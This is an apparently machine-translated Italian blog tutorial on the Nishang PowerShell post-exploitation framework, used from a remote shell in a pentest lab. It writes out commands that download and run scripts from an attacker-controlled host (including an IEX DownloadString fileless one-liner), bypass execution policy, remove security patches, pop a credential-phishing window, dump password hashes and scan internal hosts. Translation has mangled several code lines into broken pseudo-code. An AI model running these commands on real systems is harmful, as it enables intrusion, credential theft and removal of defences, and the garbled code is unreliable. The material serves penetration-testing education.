Nishang: Un framework di post-sfruttamento

Recentemente stavo facendo un test di penetrazione esterno per uno dei nostri clienti, dove ho ottenuto l’accesso alla shell a Windows Server 2012(server Web interno seduto dietro un IPS) con privilegi amministrativi. Sembra anche avere un Antivirus installato sul sistema in quanto tutto ciò che stavo caricando sulla macchina veniva eliminato al volo. Stavo cercando tutte le possibilità per aggirare questo problema e ho deciso di procedere con PowerShell. Nel momento in cui decidi di procedere con PowerShell per lo sfruttamento del tuo post, non devi davvero preoccuparti di scrivere i tuoi script per vincere la partita, dato che ci sono un paio di opzioni disponibili online. Uno di loro che mi è piaciuto molto è Nishang. Anche se ho osservato questo quadro fin dal suo inizio, non ho mai avuto la possibilità di usarlo nei test di penetrazione del mondo reale prima di questo.

Se ti imbatti in una situazione in cui devi usare Nishang nei tuoi pentests, finché hai accesso RDP alla macchina remota, la tua vita è facile. Tuttavia, come procedere quando RDP non è disponibile e tutto ciò che hai è una shell remota? Questo articolo ti serve come introduzione a come usare Nishang quando hai solo una shell remota.

Che cos’è Nishang?

Nishang è un framework open source con diversi potenti script PowerShell che è possibile utilizzare durante la fase di post sfruttamento del test di penetrazione. Ha molti script classificati in varie categorie come la raccolta di informazioni, la scansione, l’elevazione dei privilegi, ecc. Questo articolo coprirà alcuni di questi script in nessun ordine specifico. Il resto degli script è lasciato ai lettori come un esercizio, dal momento che Nishang è ben documentato con alcune eccellenti opzioni di aiuto.

L’obiettivo principale di questo articolo è quello di introdurre Nishang e dimostrare come utilizzare Nishang quando si dispone di shell remota sul sistema di destinazione.

Lab Setup:

Prima di iniziare a leggere l’articolo, ci sono alcuni punti da notare.

  1. Ci sono pochi payload in Metasploit per ottenere una console PowerShell interattiva sulla macchina della vittima. Significa che, quando li usi, otterrai un PowerShell remoto, dove puoi eseguire i tuoi cmdlet e script PowerShell in remoto.
  2. Meterpreter non sembra funzionare bene con PowerShell. Ciò significa che non è possibile ottenere una console PowerShell interattiva quando si dispone di Meterpreter shell e si tenta di ottenere PowerShell da esso utilizzando il comando “powershell.exe ” sulla shell dei comandi.
  3. È sempre bene imparare cose con una shell con caratteristiche limitate, in modo da ottenere il meglio da ciò che stai imparando. Ciò significa che abbiamo una semplice shell interattiva ottenuta dalla macchina remota utilizzando Netcat.

Installazione

La figura seguente mostra una shell con privilegi amministrativi.

Useremo questa shell per usare Nishang ed esplorare alcuni dei suoi script.

Nishang è disponibile in Kali Linux nella directory “/usr/share/nishang/”. In alternativa, è possibile scaricarlo dal seguente link.

https://github.com/samratashok/nishang

Cominciamo.

Quando abbiamo una shell remota, ci sono poche opzioni per eseguire script PowerShell. Tuttavia, per prima cosa è necessario decidere tra le seguenti due situazioni.

  1. Si desidera scaricare gli script sul disco e quindi eseguire.
  2. Esegui gli script senza toccare il disco.

Sto andando con la prima opzione in questo articolo. Se sei interessato all’opzione 2, ho dato il metodo alla fine dell’articolo.

Caricamento dei file sulla macchina remota

Il seguente script a 3 righe può essere utilizzato per scaricare gli script sulla macchina della vittima.

client client = Nuovo Oggetto System.Net.Webcliente

$targetlocation = “http://192.168.56.103/Check-VM.ps1”

$client. DownloadFile (targ targetlocation, “Check-VM. ps1”)

Stiamo scaricando Check-VM.ps1 script sulla macchina remota utilizzando lo script di cui sopra. Pertanto, abbiamo bisogno di creare un file con lo script di cui sopra come contenuto. Per fare ciò, basta digitare i seguenti comandi uno per uno sulla shell che abbiamo ottenuto.

echo client client = Nuovo Oggetto System.Net.WebClient > script.ps1

echo targ targetlocation = “http://192.168.56.103/Check-VM.ps1” >> script. ps1

echo client client.DownloadFile (targ targetlocation,”Check-VM.ps1″) >> script.ps1

Questo appare come mostrato di seguito.

Una volta che hai il tuo script pronto sul sistema di destinazione, eseguilo come mostrato di seguito in modo che lo script venga scaricato sul computer remoto.

powershell.exe-ExecutionPolicy Bypass-Non interattivo-File script. ps1

Come possiamo vedere nella figura sopra, lo script Check-VM.ps1 è stato scaricato ed è pronto per l’azione. Allo stesso modo, è possibile scaricare qualsiasi script che si desidera.

Check-VM

Il primo script che proveremo è Check-VM.ps1 che abbiamo appena scaricato. Questo script controlla se la macchina di destinazione è in esecuzione all’interno di una VM. Controlla la presenza di varie firme per determinare se la macchina è in esecuzione all’interno di una macchina virtuale. Ad esempio, se un processo chiamato vboxtray.exe è in esecuzione, potrebbe essere una scatola virtuale. Allo stesso modo, se viene trovata la seguente voce di registro, si dice che si tratta di virtual box.

Fare questo manualmente potrebbe essere fastidioso. Questo script automatizza l’intero processo per semplificare questa attività.

Per eseguire questo script, dobbiamo prima importare il modulo e quindi chiamare la funzione “Check-VM”. Dato che siamo su una shell remota e non è interattivo eseguire script PowerShell, utilizzare il seguente one-liner per eseguire l’intero processo in un solo colpo.

Powershell.exe –exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempCheck-VM.ps1″; Controllo-VM}”

Come mostrato nella figura sopra, lo script lo ha identificato come Casella virtuale.

Port-Scan

Lo script successivo è Port-Scan. Questo è uno degli script più utili di Nishang. Una volta che si ottiene l’accesso a una macchina interna, trovare gli IP interni e scansionarli per le porte aperte è sempre una parte cruciale del post sfruttamento. Questo script rende molto facile trovare gli IP in tempo reale di un intervallo specificato e la scansione per le porte aperte.

Esegui il seguente script per controllare gli IP in tempo reale tra 192.168.56.101 e 192.168.56.105. Successivamente, scansiona anche le porte aperte.

Powershell.exe –exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempPort-Scan.ps1’; Port-Scan-StartAddress 192.168.56.101-Endaddress 192.168.56.105-ResolveHost-ScanPort }”

Ecco la suggestione! Abbiamo trovato un controller di dominio nella rete di laboratorio di cui sopra.

Remove-Update

Se si desidera rimuovere eventuali patch installate sulla macchina di destinazione, questo script è per voi. Remove-Update script consente di rimuovere un aggiornamento dal computer di destinazione.

Per prima cosa, controlliamo l’elenco delle hot fix installate utilizzando il cmdlet “Get-Hotfix”.

Ora, proviamo a rimuovere il secondo aggiornamento KB2534366. Esegui lo script Remove-Update come mostrato di seguito.

Powershell.exe –exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempRemove-Update.ps1’; Rimuovi-Aggiorna KB2534366}”

Come possiamo vedere nella figura sopra, l’aggiornamento è stato rimosso. Possiamo ricontrollarlo eseguendo nuovamente lo stesso cmdlet come mostrato di seguito.

Successo! L’aggiornamento è stato rimosso.

Invoke-CredentialsPhish

Questo è un buon script per fare phishing e per ricevere il nome utente e la password della vittima in chiaro. La parte migliore è che otterrai il nome utente e la password giusti, poiché questa finestra di phishing non scompare finché la vittima non inserisce il nome utente e la password giusti.

Esegui il seguente script nel terminale.

Powershell.exe –exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1″; Invoke-CredentialsPhish}”

Si aprirà una finestra sulla macchina della vittima come mostrato di seguito. Per prima cosa inseriamo un nome utente e una password casuali.

Dopo pochi secondi, questa finestra riapparirà e l’utente deve inserire le credenziali giuste per sbarazzarsi della finestra. Questa volta, inseriamo le credenziali giuste.

Ora, vediamo cosa è successo al nostro terminale. J

Abbiamo il nome utente e la password inseriti dalla vittima.

FireBuster

FireBuster è uno degli script molto utili per controllare le porte in uscita che vengono aperte attraverso il firewall. Questo script può essere testato utilizzando un altro script chiamato FireListener, che agisce un listener per testare la connessione. Poiché è a scopo di test, ho avviato Netcat listener sulla porta 5555 e 5556 sulla macchina dell’attaccante piuttosto che utilizzare FireListener. Ora, eseguiamo il seguente script per vedere se queste porte sono consentite attraverso il firewall per effettuare connessioni in uscita.

Powershell.exe –exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempFireBuster.ps1″; FireBuster 192.168.56.103 5555-5556}”

Come possiamo vedere nella figura sopra, la macchina vittima sta effettuando connessioni in uscita attraverso le porte specificate.

Controlliamo un altro round, ma questa volta ho bloccato le connessioni in uscita sulla porta 5556 nel mio firewall di Windows sulla macchina della vittima.

Eseguiamo lo script ancora una volta e osserviamo i risultati.

Bello, possiamo vedere che la porta 5556 non è elencata nell’output questa volta.

Get-PassHashes

Scaricare gli hash delle password dalla macchina della vittima è una delle cose comuni che vediamo durante il post sfruttamento. Get-PassHashes scarica gli hash delle password dalla macchina della vittima. Questo modulo richiede una shell elevata. Pertanto, abbiamo bisogno di bypassare UAC sulla shell remota.

Su una shell elevata, eseguire il seguente script.

Powershell.exe –exec bypass-Command ” & {Import-Module ‘C:UsersUserDesktoptempGet-PassHashes.ps1’; Get-PassHashes}”

Come possiamo vedere nella figura sopra, abbiamo ottenuto tutti gli hash.

Se volete conoscere i concetti di bypass UAC, si prega di passare attraverso il seguente libro scritto da me, dove è spiegato in dettaglio.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

Se si desidera scaricare ed eseguire i moduli sopra menzionati senza toccare il disco, è possibile utilizzare il seguente metodo.

powershell.exe-exec bypass-Comando ” IEX (New-Object Net.WebClient).DownloadString (‘http://192.168.56.103/Check-VM.ps1’); Controllo-VM”

La strada da percorrere

Ci sono molti altri script utili disponibili in Nishang che possono essere utilizzati durante i nostri test di penetrazione e li lascio ai lettori come un esercizio in quanto il concetto alla base dell’utilizzo di qualsiasi altro script rimarrà lo stesso. Un altro toolkit PowerShell chiamato PowerSploit è stato discusso in precedenza sul nostro blog, che può essere trovato qui.

Per saperne di più su Nishang suoi ultimi aggiornamenti, si prega di seguire il loro blog qui.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.